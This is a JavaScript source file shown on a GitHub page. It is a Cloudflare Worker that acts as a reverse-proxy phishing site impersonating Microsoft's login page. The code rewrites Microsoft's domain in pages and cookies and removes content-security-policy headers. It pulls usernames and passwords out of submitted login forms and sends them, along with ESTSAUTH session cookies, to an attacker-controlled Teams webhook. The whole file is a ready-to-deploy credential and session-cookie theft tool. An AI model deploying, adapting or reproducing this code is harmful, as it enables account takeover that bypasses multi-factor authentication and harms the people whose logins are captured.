-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathworker.js
178 lines (149 loc) · 5.91 KB
/
worker.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
// Microsoft
const upstream = 'login.microsoftonline.com'
const upstream_path = '/'
const https = true
const webhook = "<TEAMS_WEBHOOK>"
// Blocking
const blocked_region = []
const blocked_ip_address = ['0.0.0.0', '127.0.0.1']
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const region = request.headers.get('cf-ipcountry').toUpperCase();
const ip_address = request.headers.get('cf-connecting-ip');
let all_cookies = ""
let response = null;
let url = new URL(request.url);
let url_hostname = url.hostname;
if (https == true) {
url.protocol = 'https:';
} else {
url.protocol = 'http:';
}
var upstream_domain = upstream;
url.host = upstream_domain;
if (url.pathname == '/') {
url.pathname = upstream_path;
} else {
url.pathname = upstream_path + url.pathname;
}
if (blocked_region.includes(region)) {
response = new Response('Access denied.', {
status: 403
});
} else if (blocked_ip_address.includes(ip_address)) {
response = new Response('Access denied', {
status: 403
});
} else {
let method = request.method;
let request_headers = request.headers;
let new_request_headers = new Headers(request_headers);
new_request_headers.set('Host', upstream_domain);
new_request_headers.set('Referer', url.protocol + '//' + url_hostname);
// Obtain password from POST body
if (request.method === 'POST') {
const temp_req = await request.clone();
var body = await temp_req.text()
const keyValuePairs = body.split('&');
var message = "<b>Password found:</b><br><br>"
// Iterate over the key-value pairs to find the passwd key
for (const pair of keyValuePairs) {
const [key, value] = pair.split('=');
if (key === 'login') {
// Decode the URL-encoded value for the username
const username = decodeURIComponent(value.replace(/\+/g, ' '));
// Return the decoded value of the login key
message = message + "<b>User</b>: " + username + "<br>";
}
if (key === 'passwd') {
// Decode the URL-encoded value for the username
const password = decodeURIComponent(value.replace(/\+/g, ' '));
// Return the decoded value of the login key
message = message + "<b>Password</b>: " + password + "<br>"
}
}
if (message.includes("User") && message.includes("Password</b>")) {
teams(message, webhook)
}
}
let original_response = await fetch(url.href, {
method: method,
headers: new_request_headers,
body: request.body
})
connection_upgrade = new_request_headers.get("Upgrade");
if (connection_upgrade && connection_upgrade.toLowerCase() == "websocket") {
return original_response;
}
let original_response_clone = original_response.clone();
let original_text = null;
let response_headers = original_response.headers;
let new_response_headers = new Headers(response_headers);
let status = original_response.status;
new_response_headers.set('access-control-allow-origin', '*');
new_response_headers.set('access-control-allow-credentials', true);
new_response_headers.delete('content-security-policy');
new_response_headers.delete('content-security-policy-report-only');
new_response_headers.delete('clear-site-data');
// Replace cookie domains
try {
// Get all the Set-Cookie headers
const originalCookies = new_response_headers.getAll("Set-Cookie");
all_cookies = originalCookies.join("; <br><br>")
// Iterate through each original cookie
originalCookies.forEach(originalCookie => {
// Replace the value in each cookie
const modifiedCookie = originalCookie.replace(/login\.microsoftonline\.com/g, url_hostname);
// Set the modified Set-Cookie header individually
new_response_headers.append("Set-Cookie", modifiedCookie);
});
} catch (error) {
// Handle errors
console.error(error);
}
const content_type = new_response_headers.get('content-type');
original_text = await replace_response_text(original_response_clone, upstream_domain, url_hostname);
if (
all_cookies.includes('ESTSAUTH') &&
all_cookies.includes('ESTSAUTHPERSISTENT')
) {
await teams("<b>Cookies found:</b><br><br>" + all_cookies, webhook);
}
response = new Response(original_text, {
status,
headers: new_response_headers
})
}
return response;
}
async function replace_response_text(response, upstream_domain, host_name) {
let text = await response.text()
let re = new RegExp('login.microsoftonline.com', 'g')
text = text.replace(re, host_name);
return text;
}
async function teams(m, webhook) {
// Replace 'YOUR_TEAMS_WEBHOOK_URL' with your actual Teams webhook URL
const teamsWebhookUrl = webhook;
// Example message payload
const message = {
text: m
};
try {
const response = await fetch(teamsWebhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(message)
});
if (!response.ok) {
throw new Error('Failed to send message to Teams');
}
return new Response('Message sent to Teams successfully', { status: 200 });
} catch (error) {
return new Response(`Error: ${error.message}`, { status: 500 });
}
}